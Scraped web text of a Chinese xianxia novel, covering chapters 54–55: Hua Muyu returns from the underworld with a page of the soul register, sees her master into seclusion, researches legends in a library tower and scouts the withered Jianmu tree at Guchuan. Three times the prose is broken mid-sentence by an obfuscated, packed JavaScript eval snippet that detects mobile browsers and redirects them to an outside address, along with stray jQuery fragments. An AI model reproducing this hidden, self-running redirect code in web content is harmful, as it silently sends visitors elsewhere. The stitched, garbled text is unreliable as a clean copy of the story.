;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297072|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨连忙追问。 鬼差拿过她手上的纸业,问:“你叫什么?” 花沐雨迟疑一下:“花沐雨。” 鬼差从怀里掏出白毫判官笔,提笔在纸页上写下“花沐雨”三字。笔锋落下,字迹缓缓消散,除此之外,纸页上毫无变化。 花沐雨看看鬼差,鬼差也诧异地看看花沐雨。 “总之就是把名字写上去,然后魂灵簿就自然会显示出这个人的生平、功德。散发着金光的,就是你们要找的不世出的圣人了。”鬼差解释着,又问穆西琳,“你叫什么?”是还想用穆西琳的名字试一试。 “行了行了,用法我们知道了。”厉以远忙道,“什么时候归还呢?” “随便。”鬼差挥挥手,又把纸页塞回花沐雨手里,“又不是我的东西,爱什么时候还就什么时候还。你不还都行。” 众人面面相觑,鬼差不管他们,自己晃悠着往大殿后面走去了。 “欸,大哥!”花沐雨追了上去,问,“你可认识彼岸花化作的灵物吗?” 鬼差奇异地看着她:“你在说什么啊?我们冥主都死了,这里哪还有什么灵物。” “所以冥主是什么人?”回程路上,穆西琳问。 “传说冥主是大荒群圣时期遗留下来的先天圣人,掌管魂灵簿,座下有神兽獬豸,能辨是非曲直,能识善恶忠奸。”厉以远道,“只是大荒群圣时代终结,冥主没过多久也兵解消散,只留下无主的幽冥界。” “哦……”穆西琳若有所悟,“所以魂灵簿留下来了。獬豸呢?和冥主一起兵解了吗?” “这我就不知道了。”厉以远道,“界门未开之时,凌虚界与世隔绝,和幽冥接触得也不多,我们能知道得也很少。” “魂灵簿竟然就是这么简单的东西,一点儿都看不出来。”奚常为拿着那页泛黄的纸翻来覆去把玩半晌,又还给花沐雨。 “也太随意了。”穆西琳道,“这么了不起的东西,我还以为要多大的阵仗。” “幽冥真的是一个管事的人都没有了。他说的判官我们也没见着。”厉以远感慨,“轮回无人司掌,魂灵无人管理,也难怪人间大乱。” 此时众人已经走到河边,穆西琳又问:“我们怎么回去?” 厉以远拿出令牌来:“在此打开通往弱水神宫的通道即可。” “那我们为什么要走下来?”穆西琳道,“直接在阎罗殿前面走不行吗?” 厉以远沉默片刻。确实,在哪里打开都是一样的,他们何苦走了这一段。 通道打开,众人依次进入。 等着他人进去的时候,花沐雨回头看了一眼不见尽头的忘川和彼岸花海,有些遗憾没能再次渡河,见到那个撑船的船家。 54.笼困蝶梦惑于野 一路无话,一行人回到万方虚空境,见他们如此轻易地交出一页白纸,等在此处的各门派长老都有些惊讶。用随意一个凡人的名字试过使用方式后,发现确如那个鬼差所说,一页魂灵簿也可以正常使用,又将薄薄的一页纸供在坛上。 “此行辛苦,多谢各位走幽冥一趟,取来魂灵簿。”西河派长老安宜进道,“若他日再有需要劳烦各位之处,再请各位前来相助。” “长老过奖。”穆西琳拱手辞谢,又道,“既然如此,我们便自行离去了。” 两方人各自谢过,便纷纷告辞。 “和我去长河门玩两天吧。”万方虚空境外,穆西琳盛情邀约。 “日后有机会一定登门拜访。”花沐雨推辞了,未免过多寒暄,先行一步,御剑离开。 只是,远离了万方虚空境后,花沐雨一时有些不知道方向。 她原本是按照回凛岳的方向走的,但是这些天她心里始终记挂着那日在双化阁中所看到的逆转四方阵之事,思来想去,脚下越来越慢,最终转道,先去了拒马渡。 七十九门会未开,拒马渡门庭冷落。守着崖上铜钟的弟子见她到来,依旧敲了钟,又来接她:“仙友前来所为何事?” 花沐雨收剑拱手:“在下凛岳弟子花沐雨,前来拒马渡,是为上双化阁。” 双化阁谁人都去得,弟子拱手让她:“仙友请。” 谢过弟子,花沐雨再次来到双化阁前。 青天白日,双化阁的门依旧是关着的。花沐雨推门进去,日光透过窗棂一束束地照进双化阁内。可能是因为白天的缘故,各层上零星能看到几个翻阅典籍的人影。 花沐雨依旧取了灯盏,因她也记不得自己到底是在何处触发了那个阵法,于是依旧像那日一般,先在阵法处翻阅了四方阵相关的记载,又举步向楼上走。只是她这次尝试了好几次,每次都走到了顶层又下来,始终没能像那天一样进入阵内,看到无字书。 难道是只有夜间无人的时候才可以吗?花沐雨思忖着回到楼下。夜间再来一趟。她如此拿定主意,还了灯盏,这才回到凛岳去了。 回到凛岳已是日暮时分,她在空中,就见曾卧雪坐在半山的石阶上,斜阳枕着他的肩膀,影子盖住了他放在身旁的剑。 他也看到了花沐雨,朝空中招招手,提着剑站起来迎接她。 花沐雨飞下云头,收了灵力化成的剑:“怎么在这儿坐着。” “我想你回来要是带着什么东西,可以帮你拿拿东西。”曾卧雪道。 花沐雨笑道:“能有什么东西。就算有什么东西,我又不是拿不动了。”她拍拍曾卧雪的胳膊,“走吧。” 说着,花沐雨举步向山顶走去。她一心想着往前走,脚步也快,曾卧雪落后她半步,在她身后跟着。 “我们今晚吃什么?”花沐雨问。 “炖好了汤,在灶上煨着。还烧了道鱼。”曾卧雪道,“你先换换衣服,洗漱下,别的菜很快就能炒好。炒菜不好提前做,不知道你什么时候回来,担心放凉了。” “好。”即便再多挂心的事,回到家里人也一下子轻松了。花沐雨自去房间换下一路风尘的衣服,又洗了脸、净了手,来到门生堂时,桌上碗筷菜肴都已经摆好。 燃灯等她回来,这时已经馋了许久了。见她出现,给自己倒了杯酒:“取到了?” “取到了。”花沐雨把桌上的菜往中间挪了挪,又道,“听鬼差说,冥主已经兵解,幽冥无主,过得松散,随意给了我们一页魂灵簿,也没什么曲折。” “嗯,冥主是很多年前就已经兵解了。”燃灯道。 “哪一年啊?”花沐雨随口追问。 “约莫一千年前吧。”燃灯道,“他本是大荒群圣,只是落在幽冥,司掌幽冥,晚群圣一步陨落。” “原来如此。”花沐雨道,“我听说他坐下还有一神兽名为獬豸。那个神兽和他一起陨落了吗?” “据说是的。”燃灯道。 曾卧雪端着两碟炒菜进来,都是鲜嫩时蔬。把盘子在花沐雨留好的位置上放下,曾卧雪也自行坐下。 “菜齐了,开饭吧。”曾卧雪道。 燃灯不等他说,就朝着鱼肚子伸了筷子。 “你还记得我们在人间界见到的那个彼岸花的灵物吗?”花沐雨先吹了两口汤,又问燃灯,“这次我去幽冥,渡船的人说或许有彼岸花的精灵,鬼差却说没听过幽冥有什么彼岸花的精灵。” “渡船的人?”燃灯听了,疑惑地一顿,“什么渡船的人?” “就是接我们渡过忘川河的船家。”花沐雨道。 “哦,是吗……”燃灯有些迟疑地往嘴里放了一口鱼肉,有抿了一口酒。他不记得忘川上还有什么摆渡的人,许是他没打那儿过,没留意,也没细问。 “幽冥长什么样子?”曾卧雪闲问道。 “是昏暗的,没有太阳。彼岸花丛中流淌着忘川河水,远处是高耸的阎罗殿,可以看到散发着白光的魂魄从空中投入殿中,又从殿中流出,前去轮回。”花沐雨道,“冥主兵解,幽冥也没什么鬼差了,这么多年,人间魂魄的轮回转世全靠魂灵簿自动运转。” “原来是这样。”曾卧雪颔首。 燃灯道:“你既已回来,我也该继续闭关了。” 花沐雨河曾卧雪听了都有些意外。 “刚出关不久,又要闭关了吗?”花沐雨先问道,“这次闭关是为了什么?” “是一些寿数上的事,没到这个年纪,你不明白的。”燃灯还是一如往常的说辞,又叮嘱他们,“人间的劫数,你们一概不要再过问。这次去过一次幽冥,我们也算出过力了。若有西河小南国之类的找来,你们便说我闭关了,咱们这边人手不够,一律推脱开去。有实在要紧的,留信与我,我自出关定夺。” 花沐雨河曾卧雪面面相觑,嘴上应是。 “七十九门会上,已经有了决断了。”燃灯举着筷子,着重对花沐雨说道,“你若挂心故国,把你这边的名字报上来……你是不是还有个妹妹?你说上她是谁,我们接她上界就是,你无需忧虑过重,还是轻松些来得好。” 花沐雨略抿唇一笑,点头称好。 “您何时开始闭关?”花沐雨问。 “今晚便入关了。”燃灯仰脖,将杯里的酒喝净,又自己倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300949|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一杯。 “还有一事。”花沐雨原本有些忘了,这时又想起来,“七十九门会时,有天晚上我去双化阁,遇到了古月长老。” “噢?”燃灯端起酒杯,“他干嘛了?” 花沐雨回忆着:“我也不知道,他拍了一下我的肩膀就走了。还有个黑衣人,但我只看见了背影,也不知是做什么。” 燃灯淡淡道:“他们江流派的事,没什么关系的,不用理这个。我马上闭关,守好凛岳才是正经事。” 花沐雨嗯了一声,只是心中仍有疑虑。 “您且放心,我会照看好山上的。”曾卧雪道。 燃灯摆摆手:“你不要乱跑就好了。” “师父为什么一直不让他下山呢?”花沐雨道,“他之前下山一趟,也没什么。” 燃灯看过来一眼,道:“没事不要下山。上次是幸运了,再抛头露面,指不定什么时候就出事。” 说着,他习惯性地伸手掐了一卦,又摆摆手:“到我出关之前,只要你们不下山,就都没事。” 一餐饭酒足饭饱,花沐雨和曾卧雪送燃灯闭关,又在门前升起的阵光前站了一会儿,这才有些寥落地回去收拾桌子。 “一年也见不了几次面,老是在闭关。”曾卧雪一边归拢着碗筷,一边嘀咕了一句。 他声音不大,只是小小的抱怨了一句,也没指望着有什么。 花沐雨听到了,道:“我刚上凛岳的时候,师父闭关还没有这样勤。大师兄去后,师父才这样的。” “是。”曾卧雪应道,“那时候山上常就我们两个……那时候你也不常回人间。” “你那时候才多大,我要是也走了,剩你自己怎么办?”花沐雨道。那时候也是难得清净,北境少有传信前来,她和曾卧雪两个人在山上,日子简单又规律。 说话间收拾好,花沐雨和曾卧雪各捧着一沓碗筷到厨房去清理。 曾卧雪洗着碗,花沐雨在一旁看着,道:“晚上我还要出去一趟。” 曾卧雪侧头看她:“去哪里?师父不是说,他闭关的这段时间,不让我们下山吗?” “我不走远。”花沐雨知道曾卧雪以为她又要到人间去,解释道,“我就是去一趟双化阁,看些书,当夜就回来了。” 其实还想去鸪川。 幽冥中那个声音一直在她耳边,她想去看看。只是鸪川毕竟特殊,她便没有和曾卧雪说。 “去双化阁呀。”曾卧雪有些放下心来,但还是有点犹豫,“这么要紧吗?师父既然说了,总归还是不要下山得好吧。” “去一趟双化阁而已,能有什么事。”花沐雨笑道,“你不用等我。第二天一早,你就能看到我回来了。” 曾卧雪知道她拿定主意,自己是劝不住的。再则,去一趟双化阁,确实算不得什么大事,虽然有些顾虑,但也没有应邀拦着她的必要,于是便点头说道:“什么时候走?” “一会儿天黑就出发。”花沐雨道。 “有什么事,白天不去,非要晚上去的。”曾卧雪小声嘀咕了一句。 “正好晚上有时间嘛。”花沐雨道,“左右没事。” 55.生机已绝却相寻 这是一件很奇妙的事情,总有人试图按照当初的样子去重复做一件事以期待得到相同的结果和体验。但一期一会,明月总有,此夜难再。 花沐雨持灯,在层层楼梯之上回首。盘旋而上的灯盏照亮一方天地,亮光之外寂静无声,四处弥漫着纸质书册独有的气味。 当初不经思考办到的事,如今刻意追寻,又难觅踪迹。 花沐雨心中暗叹,来到四楼,借双化阁中提供的笔墨纸砚,将自己曾于无字书中读到的和在忘川上听到的,凭借记忆,尽可能地默了下来。 默完,呆看了半晌,将笔墨收好,写了字的纸收在怀里,又来到了七层。 既然已经来了,虽然没能再次踏入那个阵法、再次看到那封手信,或者再问些别的,但是还是有东西可以查的。 比如逆转五行的阵法可以做到什么,比如离天境是哪里,离天境又有什么她不知道的圣人,无字书是什么,是否有据可查,忘川上的摆渡人是谁,她为什么会听到那阵诵念。 再比如,她还要查一查五行灵物,如何获取,以及是否有何种物品可以替代。 此外,一些细枝末节的,冥主兵解,神兽獬豸所在何处,幽冥中是否有彼岸花化作灵物。 如此等等,这段时间,悬在花沐雨心头的疑问太多了。 一淡翻起书来,时间便过得很快。花沐雨感觉时间只过去了不久,但等她再抬头时,双化阁中的滴漏已经滴到了丑时。 她合上书本,拿起自己一边翻书一边摘抄记录下来的信息,从头回顾了一遍。 其实五行的相生相克,是法修中一切阵法运转的基础。现今法修很少如此简单地只用五行来布阵,中间千门万法,各式超出五行外,不胜枚举。四方阵之奇,便在于它利用最基础的五行相生相克。简单,却如太阳东升西落般颠扑不破,搭建起如天地般牢不可破的规则。甚至最开始修士另辟凌虚界,也是运用了类似的法门。 为什么当初凌虚界与神仙界一战被称为“辟界之战”,或许可以从此窥见一斑。 书中并没有记载,但花沐雨有了个猜想。 五行相生,首尾相连,自成一圆;五行相克,相生的能量转为相克,其中产生的破坏的能量,是不是也可以撕毁这个圆? 花沐雨不太熟悉法修的修炼,她尝试在五指上分别分离和聚集不同属性的灵力,勉强聚起一点,要想施加逆转,却无论如何都不成了。 她并不气馁,想着有机会要向燃灯请教些法修的法门,希望到时候燃灯不要怪她也把知识学杂了才好。 除此之外,关于离天境,她也在犄角旮旯里翻到了一些信息。 自三千年前大荒群圣销声匿迹,廑唒修王道,于主从山飞升,自封天帝,据守东天。其后有大修行者午焘,虽修逍遥道,证道蜉蝣山,却拜入廑唒麾下。又若干年后,戚拓修慈悲道,海纳海证道,然其虽自封佛祖、据守西天,仍与天帝交好,不言明中隐隐以其为首。如此东天一家独大,王道亦成修行之主流,故修王道者多。 如此蹉跎一千五百年,三界格局既成。上有东天西天,是谓神仙界;中有凡人并未得道之修者,是谓人间界;下有魑魅魍魉草木人禽轮回之所,是谓幽冥界。其中,人间的修行者合力另辟一居所,山河皆为人间镜像,即是如今的凌虚界。 除却东西天之外,上界还有西北离天境和东南归天境。据传,离天境原是神罚之地,终年苦寒,生灵难入。而不知几百年前,有一不知何处来的修士,姓名已不可考,引动天道,号令离天境三百里从此不内风雪、四季如春,平地起雕梁画栋,并在此隐居,世人称其春霄宫中春意浓。 花沐雨之前倒不知道,听起来是个暖融融的名字,偏又有点暧昧。若无字书中所说的离天境真是此处,那“圣人”,就是指那个不可考的修士吗? 真的有这样一个修士吗?到底是什么样的修士,能与神仙比肩,又被称为圣人,却全无一丝记载呢? 看过这一行,花沐雨的目光往下面的“归天境”上扫过。 东南归天境,原为东方弥合天。东方弥合天又称星乱之所,有两万两千五百六十九颗背乱之星,无规矩而行,天帝整饬后,空置许久。后有人皇陈沽游荡到此,将此收服,取名为归天境。 人皇在时,人间鼎盛。只是随着人皇遁入空门,归天境也荒芜了。 堂堂人皇,也不知为何竟会遁入空门。花沐雨在纸页上敲了敲。 五行灵物倒并不是只能用四方阵建立之初所使用的那五样。灵物大多有五行之属,严格来说,每种灵物都可算作五行灵物之一。只是弱水息壤建木精金和南冥离火都是五行之中绝顶的材料,若是要产生逆转他们的灵力,恐怕不是寻常灵物可以做到。 别的不说,还是得先去鸪川和弱水神宫看看。花沐雨心中暗想。息壤和南冥离火都在别的门派内部,只有这两样还相对比较容易接近,还不容易叫人察觉。 此外,关于冥主,她也查到了一些消息。 据传,冥主本名里都,是大荒群圣时代的未亡之神。他的法宝便是魂灵簿,久居幽冥。那时各番魂灵的轮回转世大多直靠功德或灵气,并不需要幽冥一界来专门处理此事,里都也只是幽冥一界之主而已。 天帝证道伊始,正当上古众神末世。未亡之神里都,见天帝证道自封,便说:“君王天下,不王我。”仍自居幽冥。其后里都身殒,他座下的神兽獬豸也随之沉睡,神躯长眠阎罗殿底。 一番查完,花沐雨将这几页纸同样收好,心中有了些成算。 又看了眼滴漏,仍在丑时未过。她想着,索性趁今夜,再去鸪川一趟。 今夜月明,照得山河雪亮。 花沐雨隐蔽地御剑而来,在鸪川外围便落脚。 鸪川生灵绝迹,据说自鸪川之主女容受天道惩罚陨落后便沾染着不详,她这也是第一次来。 她收了剑,环顾四周,先将此地打量了一番。 鸪川原本多为妖灵聚居,占地辽阔,巨树参天,生灵无数。而今花沐雨站在密林之外,听不见一丝虫鸣兽语。草木依然,但却奇异地令人感受不到一点充沛的生机,所能触碰到的,只有无边的沉寂。 早在来时,花沐雨便在空中看到了鸪川当中密林深处那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300950|182691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棵巨大无比的枯树。 御剑在半空中看,那枯树早已枯朽倒折,四周焦黑一片,寸草不生,是无边密林中一块不毛之地。 即便已经倒折,那树仍醒目无比,仅看残骸,便可以想象在它仍焕发生机时应当是何等景象。 不用说明,花沐雨便知道,那棵倒折的树,便是昔日鸪川之主有容的本体,早已枯朽的上古建木。 有了这样一个显著的目标,花沐雨略分辨了一下方向,便试探着向林中走去。 她不曾发现,在她踏入林中的那一刻,有一点荧光透过衣服飞出了她的肩头。那点荧光太微茫了,在空中甚至不及一闪,便消失不见。 从空中看时离得不远,实际走起来,即便以花沐雨的脚程,还有意加快了步伐,仍是花了许久才来到密林中心。 这里太过静谧,花沐雨不自觉地收敛气息、放轻了脚步。 前方草木逐渐稀疏,可以看到一些漆黑的轮廓。花沐雨知道,枯朽的建木就在前方。 这一路走来,半点动物的影子都没见到。花沐雨心中始终绷着一根弦,提防着可能有的变故,但周围始终一片死寂,简直比在幽冥时还叫她感到荒芜。 眉头不知不觉皱起,花沐雨小心谨慎,终于来到建木附近。 在近处仰头看去,早已折断的建木横倒在密林上方,树冠早已在密林中无从寻觅,剩下的半截树干,仍旧一眼望不到尽头,横粗宛如平地高楼。 以横倒的树木为中心,一片焦黑泥泞的不毛之地蔓延开来。 忘川上摆渡的船家为何来让我来鸪川……看着眼前的焦黑,花沐雨思索着。要去里面看看吗? 她皱眉,直觉不想踏足,尝试性地伸出手,掌心化出一颗萤石,任它落在焦黑的泥土上。 萤石落地,宛如细雪落入岩浆,又好似火星溅在雪地,无声无息地便消失在地面的焦黑中。 花沐雨呼出一口气,又将剑化在空中,招手飞剑。雪白的灵剑向建木射去,却在离开焦黑的边缘后不远,便同样无声无息地消融在空气中。 估算了一下灵剑消失的距离,又用几块萤石估算了一下他们消失的速度,花沐雨心中有了计较。 恐怕这片焦黑的土壤确实是受了天道的压制,任何有灵气的东西进去都会被慢慢消解。 雄伟的建木倾折,恐怕也只有这样经年累月的腐蚀,才能彻底消解上古神木的灵气。 那我要进去看看吗?花沐雨思索着。若她御剑入内,趁一把剑被吞噬之时化出另一把,如此交替,或许可以凑近一看。 只是她不知道人踏进那个范围会如何,人的灵气被吞噬的速度是否和灵剑、萤石一样,以及在其中是否可以持续吐纳灵气——她估计是不能的。只是以她目前的灵力能坚持多久,还要亲自试一试。 正这样想着,忽听侧方传来细碎的动静。 花沐雨心中一动。 出于谨慎,她本就将身形掩映在边缘的草木中,加之她站在原地未动,又收敛了气息,倒是没叫人发现。 花沐雨悄然矮下身形,等了片刻,果见一道黑影出现在侧方。